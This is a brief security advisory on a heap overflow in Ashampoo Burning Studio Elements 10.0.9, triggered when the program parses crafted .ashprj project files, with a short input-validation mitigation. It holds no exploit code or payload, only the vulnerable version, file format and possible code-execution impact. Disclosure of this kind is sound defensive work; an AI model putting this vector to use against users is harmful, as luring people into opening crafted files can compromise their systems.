Ashampoo Burning Studio Elements 10.0.9 (.ashprj) Heap Overflow Vulnerability

The application suffers from a heap overflow vulnerability because it fails to properly sanitize user supplied input when parsing .ashprj project file format resulting in a crash corrupting the heap-based memory. The attacker can use this scenario to lure unsuspecting users to open malicious crafted .ashprj files with a potential for arbitrary code execution on the affected system.

Mitigation:

Input validation should be used to prevent the application from accepting maliciously crafted .ashprj files.
